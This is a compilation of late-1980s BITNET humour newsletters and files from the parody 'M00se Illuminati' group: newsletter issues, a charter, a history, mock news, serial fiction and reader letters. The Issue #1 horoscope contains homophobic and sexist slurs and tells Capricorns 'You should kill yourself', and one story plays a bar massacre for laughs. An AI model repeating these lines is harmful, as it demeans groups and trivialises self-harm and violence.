and stare at her for a few minutes, just to see if Diana will wake up and
notice. Then, slowly, they start to exhale on her. Clouds of noxious (to a
human) m00se breath float around her head. This still is not enough to rouse
the slumbering college student; step three must go forward. The m00ses start
to drool on her pillow. This will almost always cause any human to wake up
screaming--or at least give them the oddest dreams. Should this fail as well,
the m00se band could resort to such tactics as stomping around the room and
over the bed.
However, it works and Diana awakes with a scream of terror. The m00ses
immediately run out of the room and the building. The next morning, the now
hopelessly neurotic Diana is sent home to the care of her parents. It will be
some years before she is able to sleep soundly again.
If we were to do this to humans, they would be outraged. Why should they
treat us in ways that they do not wish to be treated? I say that all m00ses,
from this time forward, should wake a human whenever possible, until such a
day as they discontinue the practice of moose-tipping.
------------------------------------------------------------------------------
Assorted Moose Curses
(from the mouth of Michael Oose)
"May your antlers droop."
Believed to have originated somewhere in Southern California, this
curse echoes the sentiments of the age-old adage of "like totally
droopy dude."
"May you fall in love with a cow."
This actually occurred. The poor moose in question was subject to
media abuse for months and never survived the embarrassment. His
family reportedly threw themselves in front of a large truck.
"May your cacti turn brown and mushy."
No one is quite sure what this has to do with mooses, but apparently
an innocent cactus named Spike died in this horrible fashion.
"Your mother wears moose slippers."
Take a trip to the mall. You figure it out.
"May you be stuffed."
This does not mean to be like a Gund. Gunds are cute. This means to
have your head mounted on a plaque in some idiot's den.
"Bl00p You!"
[censored]
------------------------------------------------------------------------------
How to avoid being shot during Moose season
(by Manny Oose)
1. Don't hide behind trees. Contrary to popular belief, the average hunter
will not believe that your antlers are branches.
2. Don't hang out under street lamps. It might look impressive to the
ladies, but when you have a few holes in your gut they'll want nothing to
do with you.
3. If you are being stalked, hide in a toy store. Don't look too stupid or
they'll think you're still alive. If they squeeze your belly, make a
sick moo noise. It might be embarrassing, but it's better than ending
up hanging on a wall looking down at some idiot with a pipe and slippers.
4. Don't chase cars. They _will_ notice you.
5. Carry a bigger gun.
5.1. Shoot first.
------------------------------------------------------------------------------
And so ends another proud episode of Dr00ling adventure. Tune in next month
when Mike says...
"Holy drool, Mooseman. How did that Moose get up in the tree?"
Same moose time.
Same moose channel.
------------------------------------------------------------------------------

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+----------------------------------------------------------------------------+
| ISSUE 3 Feb-Apr. 1990 |
| |
| |
| MMMMMMMMMM 00000000 00000000 SSSSSSS EEEEEEEE |
| M MM M 0 // 0 0 // 0 S E |
| M MM M 0 // 0 0 // 0 SSSSSSS EEEE |
| M MM M 0 // 0 0 // 0 S E |
| M MM M 00000000 00000000 SSSSSSSS EEEEEEEE |
| |
| DDDDDDDD RRRRRRR 00000000 00000000 L |
| D D R R 0 // 0 0 // 0 L |
| D D RRRRRRR 0 // 0 0 // 0 L |
| D D R R 0 // 0 0 // 0 L |
| DDDDDDDDDD R R 00000000 00000000 LLLLLLLL |
| |
| |
| |
| A m00se! A m00se! My kingdom for a m00se! |
+----------------------------------------------------------------------------+
Sorry for the delay, but the hunters were after me, and well, I'm a moose
with his priorities straight: 1) Survival 2) Sleep 3) Dr00l. Remember,
only a moose who is a public nuisance is worth listening to. This issue is
dedicated to all those lesser illuminated beings that hunt the mystic rabbit
of April.
-Mike Oose
------------------------------------------------------------------------------
M00SE DR00L STAFF
Michael Oose (moose@drunivac.bitnet) Editor in Chief
Subscriptions
Manny Oose (nclarke@drunivac.bitnet)
Michele Oose (slewis@drunivac.bitnet) Assistant Editors
Cathy Ow (cow@drunivac.bitnet) Information
Think you're weird? Think you can write stories that m00ses can relate to?
Contact Mike Oose. He might have an assignment for YOU! (Wouldn't that be
dangerous?)
NEW in this issue: an editorial section. Yes, keep those comments coming. If
we like it, we'll print it with running commentary from the Dr00l Staff!
------------------------------------------------------------------------------
Editorials:
From: ABLAKELY@DRUNIVAC
I was quite distressed to note in the horrorscope section of this issue
the horrorscope for Sagittarius was conspicuously absent.
Answer:
The half-moose/half-man is an abomination. Please do not remind us of
it in the future. Bleech. Some mooses will sleep with anything.
From: SYSTEM@DRUNIVAC
Ok, who is the idiot who created all those animal accounts on ALPHA and
BETA? Speak up or you'll all be chopped at the head and hung up on my
wall. This is an academic system, not a toy.
Answer:
Phthththth. (User deleted.)
From: V291NHTP@UBVMS (Pat Salsbury, DangerM00se)
You're a looney! :) (Not that tha's a bad thing, mind you!)
SO! Competition, eh? Harrumph!
I wonder if I'll have to think about that....
Feh. My brain is starting to hurt.
See ya!
Answer:
I actually prefer to be called warped and twisted. Competition? We
don't look at it that way. Besides, when did illuminati ever have
competition?
From: DICKSON@HARTFORD (Bill Dickson)
Just what the net needs! An *alternate* m00se magazine! May you spread
it far and wide, and may it bring fame and increased circulation to both
the M00se Illuminati and its first magazine. May all m00ses grow
together!
Answer:
Sure, we'll help you and the others out, but do you really want _our_
help?? That mooses growing together sounds sick to us. Don't they get
tangled?
------------------------------------------------------------------------------
Asian mooses seek wealthy Americans for potential divorce settlements.
Send photo and SASE for details.
------------------------------------------------------------------------------
Mooses for a Better America
by Mike Oose (their poster boy)
In recent moose-type news here at Drew University (the University in the
rapidly dwindling forest), a conference was held by some big-shot speaker on
the enigma of death. Being among the first to catch onto the "death-thing"
in modern conferences, we introduced the Angel of Death at our own conference
called "Experiencing the Enigma of Death" and made a killing so to speak. We
plan to put this show on the road later this year, so it may be at a school
near you sometime. You'll know when the telltale solid black posters start
appearing (and by the blood smeared on your neighbor's door)... We also hope
to have our "Mooses' Guide to the Afterlife" available sometime in March. I
myself have had an offer from a movie company to make the "Angel of Death"
movie followed shortly by the soundtrack and action figures. For a condensed
version of this sequence of death-related events, read this message backwards
at full speed and one of our representatives will tell you where to go.
------------------------------------------------------------------------------
Yo! Mooses don't Rap. Mooses prefer to sing. It's just not all that good.
------------------------------------------------------------------------------
Travis and Phyllis, The Trashy Saga Continues...
by Mike Oose
Chapter 3
Travis and Phyllis found themselves in the airport lobby after having
been escorted off the plane from Tahiti, with a warning to control themselves
better next time. Travis whispered huskily in Phyllis' ear, "Around you I
could never control myself." All of a sudden, Phyllis remembered that she
had left her passport in her luggage and so couldn't go through Customs.
"Ohh, Travis," she breathed, "we'll just have to go back." While their
escort was ogling a stewardess, the two lovers ducked out of the terminal.
While they thought no one was looking, they leapt onto the luggage bus that
was just departing from their plane. Sifting through the luggage, they
found Phyllis' matched hot pink set. Opening the largest suitcase, Travis
spied a piece of lingerie.
"Oh, Phyllis, remember when you wore this?" Their eyes locked, their
passion inflamed.
"Oh, Travis, I think we're going to disobey the airline officials."
she sighed. They were too involved in their renewed discovery of one another
that they didn't notice that the bus had ground to a halt.
Two gorilla-like beings started to throw luggage onto the conveyor
belt, and all unknowingly tossed the entwined lovers on with the rest of the
baggage. Phyllis landed first with a >whump<, cushioning Travis' fall. The
conveyor belt, groaning with the strain, brought them up and into the main
terminal of the airport.
While some passersby gawked, a polite man named Cullen graciously
removed his jacket and placed it over their sweaty, heaving bodies. They
paid no notice, however, and continued...
------------------------------------------------------------------------------
Coded message follows: htaed sih dekaf elkniwllub <transmission complete>
------------------------------------------------------------------------------
News from the Field
ANCHORAGE, Alaska (MPI) -- Deep snow, high winds, volcanic ash, crazy
temperatures and pissed-off mooses combine to make Saturday's start of the
1,158-mile Anchorage-to-Gnome Idiotarod Sled Dog Race the most challenging
ever for the 70 men and mooses and 1,200 dogs competing in the adventure.
"The guys are saying this might be the most challenging ever are probably
right," said Montana Oose, the race's only four-time winner.
Some of the deepest snow in decades has forced moose into the contest. The
huge lumbering antlered animals, trying to avoid energy-sapping walks through
10-foot snow, have made a surprise entrance in this year's contest. "Hey, we
can make a few bucks too," chortles one moose.
This winter moose have attacked people walking down their driveways
to get their mail, stomped sled dogs on Idiotarod training runs and even
charged Alaska Railroad engines trying to reclaim the tracks. "We play to
win," the mooses say in defense of their actions.
Veteran musher Jerry Ackle, who said "the competition makes this
the worst year in the history of the Idiotarod," is packing a semi-automatic
AR-15 for protection. Ackle's encounter with the moose was one of two in the
race. He shot and killed a moose Monday after it tried to stomp the team
run by Beatrice Eaver. He was later surrounded by a bunch of mooses and
was drooled on until he drowned/froze.
------------------------------------------------------------------------------
Was it a momentary lapse of reason, or the first step on the road to recovery?
------------------------------------------------------------------------------
Mike Oose's Country Chartbusters (AroooOOOooooo-ee!)
Compiled by Michele Oose
10. Bird Nest in My Antlers - Grampa Harappa's Jamboree Band
9. My Dog Died - The Antler Brothers
8. Discordian Mooses' Illuminated Square Dance - Moose in the Pyramid
7. Forever and Ever Arooooooo - Travis and Phyllis
6. I Love A Drooly Night - Eddie Rabbit
5. Always In My Fur - Nelson Riddle and his Foot-Stomping Orchestra
4. Those Truck-Chasin' Blues - The Head-On-The-Wall Gang
3. My Wife's Run Off, and She's Taken My Mind - Moosey Waters
2. Tip Cows, Don't Love 'Em - Karl Kam00se
1. I'm So Blue, I Could Drool All Over You - Traditional
------------------------------------------------------------------------------
Here we are at Drew University, where we have secretly replaced the
administration with Weeble replicas. Let's see how long it takes those
annoyingly politically active students to make some banners slandering
harmless Weebles just so they can get in the newspaper and look like fools.
------------------------------------------------------------------------------
How To Be A Moose (Part II)
by Manny Oose
9. DO eat like a moose. Always manage to get at least half of what you're
eating on the floor. Potato chips are a valid substitute for line printer
paper.
10. DO sleep with your mouth open, so that your noxious moose-breath will
fill the room and destroy any insects that might attempt to eat your food.
11. DO stay away from cows. They can ruin a moose's good reputation.
------------------------------------------------------------------------------
This is the end. Our computer doesn't seem to be willing to cooperate with
us on this, so I will make this closing brief.
Sometimes mooses have problems with their teeth. So you can take them to the
dentist. You must also try not to step on mooses, because it hurts them.
So, until the next issue... beware of giant hedgehogs.
Mike Oose, your loyal and devoted public nuisance.
------------------------------------------------------------------------------
T H E E N D
------------------------------------------------------------------------------

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OFFICIAL CHARTER OF THE M00SE ILLUMINATI
1) CHAPTERS: Each and every member of the M00se Illuminati is his or her own
chapter. He or she is also the Bull M00se (spiritual leader), Grand Poobah
(political leader), and treasurer (money-handler) of his own chapter.
Therefore, a chapter could be listed as such:
THE BILL DICKSON CHAPTER OF THE M00SE ILLUMINATI
Bull M00se: William R. Dickson
261 Newt Road
Aberdeen, CT 06011
(223) 699-1545
Grand Poobah: Billy Dickson
261 Newt Road
Aberdeen, CT 06011
(223) 699-1545
Treasurer: Bill Dickson
261 Newt Road
Aberdeen, CT 06011
(223) 699-1545
2) THRONGS: Any group of two or more chapters gathered together in one place
is a throng. The more chapters, the bigger the throng.
3) SYMBOL: The symbol is a four-sided, eleven-step pyramid with an eye in
the top step and a three-pronged antler on either side. It once was
thought impossible to draw with text characters, but a case of extreme
boredom one day was cured by the invention of a text-character symbol.
/\
___ / \ ___
/ \ __ / \ __ / \
| \ / \ _ / <()> \ _ / \ / |
| \_/ \_/ \_/________\_/ \_/ \_/ |
\_________________/__I___I___\_________________/ This smaller version
/_I___I___I__\ is used when time or
/I___I___I___I_\ space is short.
/___I___I___I___I\
/__I___I___I___I___\ _ /\ _
/_I___I___I___I___I__\ / \_/\_/ \_/\_/ \
/I___I___I___I___I___I_\ \_____/ () \_____/
/___I___I___I___I___I___I\ / \
/__I___I___I___I___I___I___\ / \__/ \
/_I___I___I___I___I___I___I__\ /__________\
4) SECRET M00SE SIGN: Thumbs to side of head, fingers outstretched to simulate
antlers. Usually accompanied by the Secret M00se Call.
5) SECRET M00SE CALL: BL00P! (Taken from Bloom County.)
6) PURPOSE: To confuse, obfuscate, bewilder, and befuddle the masses.
7) POLITICAL AFFILIATIONS: Varies according to the chapter. The M00se
Illuminati as a whole will support any chapter's beliefs. Thus, the M00se
Illuminati may, at any given time, be supporting any number of contra-
dicting philosophies.
8) NEW MEMBERS: Any chapter can dub new members so long as it uses a silly,
meaningless ceremony that is made up on the spot to do so. It would be
very nice if the Bill Dickson chapter (DICKSON@HARTFORD.BITNET) were
notified so it could record the new member/chapter. This will allow the
Bill Dickson chapter to send all chapters any new information.
9) SECRET NUMBERS: The secret numbers of the M00se Illuminati are 11 (the
number of steps in the pyramid) and 13 (11 + two antlers). Be on the
lookout for these numbers, as they may hold some significance. Also watch
out for 31 (13 transposed) and 11 (11 transposed).
10) PLURAL: The plural of M00se is M00ses--NOT M00se, moosies, moosi, moosei,
moostachios, or Bim Skala Bim.
11) SLASHED 'O's: The 'O's in M00se, Bloop, and all other EXTREMELY m00sey
words are slashed: 0. This apparently originated in the opening credits of
Monty Python and the Holy Grail. Unfortunately, it is impossible to do
this with the lower-case on a computer. In fact, it is now difficult to do
it with the upper-case, as most computers no longer have slashed zeros. We
use the zero where we would want a slashed 'o' anyway, to remind us that we
are making an attempt. Please draw the slashes in if you print a hardcopy.
12) FLEXIBLE RULES: Any of the rules may be changed except for numbers 1, 3,
4, 5, 10, and 11. If you attempt to change a rule in such a way as to
create a paradox, remember that m00ses don't care about paradox.
13) ALWAYS REMEMBER: Bloop! Bloop bloop? BL00P! Bloop? BL0000000P!

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THE OFFICIAL HISTORY OF THE M00SE ILLUMINATI
(Updated July 12, 1990)
ORIGINS
In South Windsor High School, located in the suburban hell of South
Windsor, Connecticut, in the school year of 1983-84, a junior named Christopher
S. Phillips was greatly interested in m00ses. He believed that m00ses are not
only some of the most peaceful animals in existence, but also far more
intelligent than they are generally given credit for.
Coincidentally -- or perhaps not -- a sophomore, William R. Dickson, had
just finished reading the _Illuminatus!_ trilogy by Robert Shea and Robert
Anton Wilson. Greatly intrigued by the idea of secret conspiracies controlling
the world, he talked about it constantly.
Then, one day during a particularly dull geometry class, another junior
named David s Tarr told Chris and Bill that it could be interesting to form a
conspiracy whose goal would be to confuse the public by strange but relatively
peaceful means. It could be called the M00se Illuminati.
Putting their heads together, they worked out the hypothetical details. A
symbol was invented, secret mystical synchronicity numbers were agreed upon, a
secret signal was worked out, and a secret call was stolen from a comic strip.
Suddenly, without warning, they were confronted by a senior, Mike Harm.
He showed them a design he had worked out for a M00se Illuminati shirt. With a
few modifications he was ready to mass-produce the shirts. Due to the creative
efforts of this odd fellow, the M00se Illuminati had finally become a reality.
Bill, Chris, Dave and Mike were joined by several of their friends, and
soon after came the fateful day when the secret conspiracy revealed itself to
the poor, sheep-like occupants of South Windsor High. It didn't take long for
the established system to crumble, to be replaced by the sleek, modern power of
the M00se Illuminati. A small rebellious group was formed, but it was ignored,
and consequently short-lived.
REFORMATIONS
The first reformation of the M00se Illuminati occured in 1985, when the
charter was transferred from a TI-99 word processor (printing on a silver
scroll about 2" wide) to a $20,000 typesetting machine at the high school. A
new shirt design was designed and produced.
By the end of 1986, the M00se Illuminati had grown to a world-wide
organization, with chapters in Norway, Japan, and Germany. By mid-1987, it had
expanded still further, with a large throng at the University of Connecticut, a
smaller one at the University of Hartford, and individual chapters scattered
throughout the world.
The organization fell into hard times then, slumping as members were
scattered too thinly to maintain meaningful contact between each other. The
"real world" pressed close; many chapters were now too busy to continue their
work of furthering the causes and expansion of the M00se Illuminati. It began
to look as if only a major discovery, or a miracle brought about by Leviam00se
itself, could save the M00se Illuminati.
The discovery was made, and the second reformation began.
William Dickson, one of the original founders, was finally a freshman in
college. By pure coincidence -- or perhaps not -- he was introduced to Bitnet,
the intercollegiate computer network.
The second reformation of the group came to pass then, when Bill send the
information file of the M00se Illuminati to the Stony Brook Underground, a
listserv list dedicated to the expansion of human knowledge. The information
file suddenly seemed to have a life of its own; it found its way to every
corner of the Net, and responses flooded in. The organization was suddenly
much larger, consisting of approximately 50 chapters by the end of a month.
In early 1988, this expansion triggered a negative response. Suddenly,
without warning, a copy of the charter fell into the hands of the Grand
People's Fascist Monarchy of Nebutu, also knows as "the Martins." A massive
power struggle ensued, lasting for at least a fortnight. The M00se Illuminati
was, of course, victorious, but in the interest of furthering confusion in the
world, the Martins were allowed to maintain the self-delusion that they had
won.
The third reformation began June 1, 1988, when the Bill Dickson chapter
started work on what was to become a (fairly) regular electronic newsletter:
"M00SE DROPPINGS: A-M00se-ing Anecdotes and Illumination By and For the Pawns
of the M00se Illuminati." Once again, the size of the group increased
dramatically, reaching 100 Bitnet chapters by mid-December.
In January 1989, the Bill Dickson chapter became unable to fulfill his
duties as editor of "M00se Droppings." Two exemplary m00ses from Central
Connecticut State University stepped in and took over at issue #21.
In October 1989, Goblin and Salmon M00se, who were extremely busy, turned
the editorship over to the Buffalo thr0ng, at the Bill Dickson chapter's
suggestion. Pat Salsbury, AKA Warm00se, took over as chief editor at issue
#30.
THE PRESENT
The M00se Illuminati is currently in the midst of its fourth reformation.
In response to an increasing level of fascism on the part of the United States
government, the Bill Dickson chapter became morally outraged. The Buffalo
thr0ng was in a slump, so Bill took the reins of "M00se Droppings" back in hand
with issue #41. He is attempting to introduce a political level to the group,
without compromising the oddness, integrity, and (of course) intrigue that it
originally possessed.
Two major current projects are the establishment of contact with the
hundreds of m00ses who do not have access to computer networks, and plans for a
paper, snail-mail version of "M00se Droppings." Coupled with several minor
projects, such as a M00se Illuminati dictionary and an official M00se
Illuminati standardized system of measurement, the M00se Illuminati is
experiencing a new period of vitality. Even with a major falloff in the number
of cyberm00ses (due to summer vacation and graduations), we have over 170
chapters on the Net, with several more being added every day. This is truly a
new renaissance for the M00se Illuminati, indicative of our ever-increasing
power over the workings of the world.
You now know our history and our present -- our future will be more
glorious still.
Pickle

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INFORMATION ON VARIOUS M00SE ILLUMINATI SUBDIVISIONS
1) THE SOUTH WINDSOR AUTODUELLISTS OF THE M00SE ILLUMINATI
SWAMI was formed to keep the streets clear of dangerous drunk drivers,
idiots, Yugos, orange trucks, the guy who, suddenly and without warning, turns
left in front of you when you have the right of way, and other things that
could in any way interfere with the pleasure of any m00se's driving. SWAMI
units are not above the hijacking and looting of ice cream trucks. The
vehicles of individual SWAMI units are vastly different from one another,
excluding one thing -- all are heavily armed and armored, and all are driven by
highly proficient autoduellists.
2) THE SECRET M00SE SERVICE
The S.M.S. was formed in 1986 by a man whose real name cannot be printed,
for obvious reasons. He may only be referred to as 'Chip'. The S.M.S. was
formed to protect m00ses from the subversive influences of various rival
groups, especially the Ancient and Powerful Illuminati of Bavaria. Enemy
agents are usually tickled and forced to eat pickled herring by our torture
expert, one Opus P. Bell. The S.M.S. naturally uses covert means to reach the
ends it desires, occasionally calling in SWAMI units for military-type
operations. All m00ses can rejoice in their new-found freedom from worry now
that the Secret M00se Service is protecting them.
3) CHAOS ENGINEERING
MII 321 CHAOS Engineering
MII 321 offers a comprehensive study in CHAOS Engineering. There are no
technical prerequisites as such, but a comprehensive background in sarcasm,
subordination, obfustication, and random behaviour patterns are highly
recommended. Students will learn various methods of non-violent actions
designed to be counter-productive to the machinations of any sort of
administration, large or small. Such methods will include back talk, petition
drives, subversive paper work (see also MII 274 Forms Substitution for Maximum
Disruptive Effect), and malicious sign posting. Non-lethal weaponry will be
briefly discussed, and covered in depth in the course's continuation, MII 322.
MII 322 Advanced CHAOS Engineering: Use of Non-Lethal Weaponry
MII 322 picks up where MII 321 left off, and covers extensively the use of
such Non-Lethal Weapons such as water guns, water grenades, powder bombs,
shaving cream, and, for extreme cases, splat-ball guns. There is a $75 lab fee.
THE OFFICIAL M00SE ILLUMINATI SUGGESTIVE SOURCE MATERIALS LIST
Subsection One: Books
Anything by Dave Barry
Bloom County books --by Berke Breathed
Bruce's Loose Tooth --by Eileen Landay
Hitchhiker's Trilogy, the --by Douglas Adams (all possible versions)
Illuminatus! --by Robert Shea and Robert Anton Wilson
POLITICS@UCF1VM (send this command to LISTSERV@UCF1VM: SUB POLITICS Your Name)
Superguy Digest (send this command to UMNEWS@MAINE: BBOARD SUBSCRIBE SUPERGUY)
Various poems by Chris Phillips, in particular Ode To Stuff
Subsection Two: Audio-Visual Media
Any Charlie Brown movie --by Charles Shultz
Any movie --by Monty Python
Brazil --by Terry Gilliam
Garden of the Gods --by Sandstone, Wind Erosion, and Millions of Years
Subsection Three: Role-Playing and Other Games
Illuminati --by Steve Jackson Games
Toon --by Steve Jackson Games
If you have anything to add to this Official Information File, like a new
subdivision or new suggested something, send it to Bill Dickson at:
DICKSON@HARTFORD.BITNET

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Date: Not much
From: Bill Dickson <WRDJ@CRNLVAX5>
Subject: A bl00p from the grave
To: Penguin Opus <PIRMANN@pilot.njin.net>
Hi all. I'm still alive, more or less, and living in Ithaca. I'm working
slowly on a M00se revival, but it'll take work.
But that's not what I'm writing about now. I'm writing about four things.
1) If anybody has the most recent version of the M00se files (three separate
files), please send them to me. They disappeared in my travels.
2) I'm working on a big petition to get Dave Barry's name on the 1992
presidential ballot. I'm also going to send him a m00se shirt and a copy of
the charter. If any of you can possibly spare the time, I'd love it if you'd
snail-mail your signatures to: Bill Dickson, 102 N. Tioga 4th floor, Ithaca,
NY 14580.
3) Again, I am looking for an editor to revive M00se Droppings. Judging from
past experience, this person should be: A college student, with some free
time, with unlimited time on the campus computer system ($50 funny money/week
just won't do the trick), and who can extract submissions from people with
decent regularity.
4) Just trying to find out who's still out there!
Bl00p,
Bill Pickle M00se.

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A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #1 | Disclaimer: The Editor will place almost anything | June 17, 1988
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame him for the quality or content of the submissions.
Excepting those he may have written himself, the enclosed items do not in any
way represent the Editor's opinions. In fact, let's be real safe, and say that
as far as this newsletter is concerned, he has no opinions at all. Okay? Good.
===============================================================================
----------------------
EDITORIALS AND LETTERS
----------------------
EDITORIAL: By Pickle
Well, here it is. The first issue of M00se Droppings: A-M00se-ing
Anecdotes and Illumination By and For the Pawns of the M00se Illuminati.
(Big inhale....long, slow, bl00ping exhale.) With this innovation we move
one step closer to confusing the entire world. Just think -- even now,
the FBI may be opening a file on you. "John Doe, June 17, 1988, began
receiving literature from a possibly subversive organization...." I don't
know about you, but in five years, I'm going to write and ask for a copy
of mine. I understand they have to give it to you, but they can black out
anything they don't want you to know with a magic marker.
For a sudden change of topic, the newsletter distribution may be changing
soon. This first copy is being sent from me directly to everybody on the
list. However, as the list expands, Bitnet may start complaining seriously
every time I send an issue. What I'd like to do is send an issue to one
m00se at each node, who would then be responsible for sending it on to all
the rest of the m00ses at that node. This will be most beneficial with
the expansion of the Governor's School chapter to a thr0ng of about 150
chapters, something due to occur in several days. Please let me know if
this is satisfactory to everyone.
Now, the newsletter itself. It will be divided up into sections, the
first being editorials (like this one), and letters from anybody to all
the m00ses. Send important news, and letters, to me with 'Editorials'
somewhere in the Subject of the letter.
The second section will be for non-fiction accounts or announcements
of m00se events: Party invitations, reports on how parties went, reports
on projects for the promotion of confusion, whatever. Send any mail for
this section with 'Events' somewhere in the subject.
The third section will be for fiction and poetry. I'd prefer original
stuff, and I'm not copywriting it or anything, it that's important. If
there's something non-original that you think is really great and want to
post, send it along. Whenever possible, list the author with it. Send
mail for this section with 'Fiction' somewhere in the subject.
The fourth section will be for miscellaneous nonsense. For example, the
perhaps slightly tasteless horoscope in this issue. Send anything that doesn't
seem to fit into the other three sections to this one, with 'Nonsense' in the
subject.
The last part of each newsletter will be an updated list of all those
m00ses who want to be on the general list, assuming there are any more.
One last thing before I go and leave you to the rest of the newsletter.
In the rush of adding new chapters to the list, I may have added people
without sending them M00se.Info, the basic file. If you receive this issue,
and you do not have a copy of the file, let me know and I'll send you one.
Well, that's all from me for now. On with issue 1, and the first
submission ever received for M00se Droppings!
---------------
EVENTS AND NEWS
---------------
(Submitted by Sabre)
There is now a public csnews forum created by fellow m00se
RainMaker called m00se csnotice! This is open to anyone with bitnet
access and can be subscribed to by the simple sending of the following
message to csnews@maine:
csbb subscribe m00se csnotice.
Please send this info out to any and all m00ses, and you may
just have your job with m00se droppings made that much easier.
Bl00p! Sabre!
------------------
FICTION AND POETRY
------------------
0de to M00seNess
--- -- ---------
OH! to be a m00se,
not an ordinary moose,
but an extraordinary m00se!
Spreading confusion through
peaceful means, I roam the streets,
bl00ping softly to myself as I peer
into the gloom of the average lifestyle,
pitying the trapped souls of those who
know not deliverance - the deliverance
of the m00se illuminatus, and the
Illuminati with which I thr0ng!
bl00p I say, and bl00p again!
bl00p bl00p bl00p BL00P!
In my peaceful eyes confusion reigns,
yet I shall not drown, for in confusion
I find peace, tranquility, harmony...
and in my pocket I find a fully-inflatable
four-man (or m00se) raft to keep me above the currents.
And now, my m00se stomach tells me it is time to graze,
so graze I must, until *munch* *munch* *munch*.............
*burp*
co. Frank 0rzech0wicz, Villan0va Thr0ng, June 13, 1988
--------------------
(Submitted by Lord Rassilon)
If you're an Illuminatus, El M00se won't hassle you. That's
his calling.
El M00se, Illuminati agent extra-ordinare, was on his sixth
absinthe when he finally got tired of tolerating the plebian
banter which was indigenous to his locale. He ground out his
Marlboro on his left wrist and rose, unslinging his Uzi. He
squeezed off a couple hundred rounds, leisurely wiping out the
bar's blue-collar patrons. The bartender tried to nab him from
behind, but El M00se cut him into two pieces with precise bursts.
Re-shouldering his weapon, he sighed and strode from the premises.
Hhhmmm, he thought, my boss will have to pay the cops a pile
of money when he discovers I wasted a barful of proletarians.
----------------------
MISCELLANEOUS NONSENSE
----------------------
* * * YOUR STAR SIGN HOROSCOPE * * *
(Submitted by Lord Rassilon)
-------------------------------------------------------------------------------
ARIES (Mar 21-Apr 19) You are the pioneer type and hold most people in
contempt. You are quick-tempered, impatient, and scornful of advice. You are
a prick.
-------------------------------------------------------------------------------
TAURUS (Apr 20-May 20) You are practical and persistent. You have dogged
determination and work like hell. Most people think you are stubborn and
bull-headed. You are nothing but a goddamn communist.
-------------------------------------------------------------------------------
GEMINI (May 21-Jun 20) You are quick and intelligent and a thinker. People
like you because you are bisexual. However, you are inclined to expect too
much for too little. This means you are a cheap bastard. Geminis are liars,
notoriusly bad lovers, and thrive on incest.
-------------------------------------------------------------------------------
CANCER (Jun 21-Jul 22) You are sympathetic and understanding to other people's
problems. They think you are a sucker. You are always putting things off.
That's why you will always be on welfare and won't be worth a shit.
-------------------------------------------------------------------------------
LEO (Jul 23-Aug 22) You consider yourself a born leader. Others think you are
pushy. Most Leo's are bullies. You are vain and cannot tolerate honest
criticism. Your arrogance is disgusting. Leo people are thieving bastards and
kiss mirrors a lot.
-------------------------------------------------------------------------------
VIRGO (Aug 23-Sep 22) You are the logical type and hate disorder. This
shit-picking is sickening your friends. You are cold and unemotional and often
fall asleep while screwing. Virgos make good bus drivers and pimps.
-------------------------------------------------------------------------------
LIBRA (Sep 23-Oct 22) You are the artistic type and have a difficult time with
reality. If you are male, you are probably queer. Chances for employment and
monetary gain are excellent. Most Libra women are whores. All Libra's die of
venereal disease.
-------------------------------------------------------------------------------
SCORPIO (Oct 23-Nov 21) You are shrewd in business and cannot be trusted. You
shall achieve the pinnacle of success because of your total lack of ethics.
You are a perfect son-of-a-bitch. Most Scorpio people are murderers.
-------------------------------------------------------------------------------
SAGITTARIUS (Nov 22-Dec 21) You are optimistic and enthusiastic. You have a
reckless tendency to rely on luck since you have no talent. The majority of
Sagittarians are drunks and potheads. People laugh at you a lot because you
are always getting fucked.
-------------------------------------------------------------------------------
CAPRICORN (Dec 22-Jan 19) You are conservative and afraid of taking risks. You
are basically a chickenshit. There has never been a Capricorn of any
importance. You should kill yourself.
-------------------------------------------------------------------------------
AQUARIUS (Jan 20-Feb 19) You have an inventive mind and are inclined to be
progressive. On the other hand, you are inclined to be careless and
impractical. Everyone thinks you are a fucking jerk.
-------------------------------------------------------------------------------
PISCES (Feb 20-Mar 20) You have a vivid imagination and often think you are
being followed by the FBI or CIA. You have minor influence over your friends
and people resent you flaunting your power. You lack confidence and are
generally a coward. Pisces people screw small animals and pick their noses.
-------------------------------------------------------------------------------

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A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #2 | Disclaimer: The Editor will place almost anything | June 24, 1988
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame him for the quality or content of the submissions.
Excepting those he may have written himself, the enclosed items do not in any
way represent the Editor's opinions. In fact, let's be real safe, and say that
as far as this newsletter is concerned, he has no opinions at all. Okay? Good.
===============================================================================
----------------------
EDITORIALS AND LETTERS
----------------------
Editorial from Pickle:
Hi m00ses! Here we have issue two, which is not very large. If
you would all make submissions it would be larger (obviously). So let's
have those stories, party announcements, subversive plans, etc!
As promised, in this issue we will discuss the distribution of the
newsletter. A couple of ideas have been suggested, and they follow:
Letter from Kamikaze:
>Pickle:
>
>Hi there big kahuna!
>
>Got another thought for you to cut down on the number of copies sent. With
>the relatively low number of nodes you have now, maybe what you might want to
>do is have distribution sites, rather than just nodes. In other words, set
>things up something similar to the LISTSERV's that are all over the place.
>For example, you could send a copy to me, and then I would send to all others
>at the Villanova thr0ng, as well as the Haverford thr0ng, and the Bryn Mawr
>chapter, all of which are rather close to my node. In this way, we could
>expand (as we know we will) in the number of nodes we are gathering at, without
>increasing the number of copies you yourself send out. Once we start getting
>large enough, we can incorporate the one-receiver-per-site idea as well, so
>that I, as the, um, let's call it the Mid-East-Coast-and-any-parts-South
>distributer, would send to one person at the Haverford thr0ng, and let him/her
>get it to all the others there. Sound good? Let me know, I'd be happy to
>invest the time in deciphering the Bitnet mappings to figure out the best
>Bitnet-geographic places for distribution sites.
>
>Kamikaze/Rick
And another from Sabre:
> Dear m00ses,
> If a simple bull m00se may make a suggestion...why don't we
>simply have all the m00ses subscribe to m00se csnotice? I'm
>already posting the m00se droppings issues as fast as they come in
>here...if everyone subscribes to m00se csnotice, Great Herd Leader
>Pickle will only have to send each issue of m00se droppings to
>the csnews facility, and then all us m00ses can bl00p with
>delight as it is hand delivered by csnews to our own e-mail boxes.
>Furthermore, csnews will send it flat, in a protective brown
>wrapper...and if you subscribe now, you'll also recieve, at no
>extra charge, the Csnews useguide! Put it proudly next to your
>relay useguide and the notices from your cs deparetment!
> Also, consider the advantages to regestration with Csnews...
>after all, once there, you can sign up for any number of discussions--
>informative info on Comic books, Startrek, SCA, Audio Equipment,
>Computers, and so on....
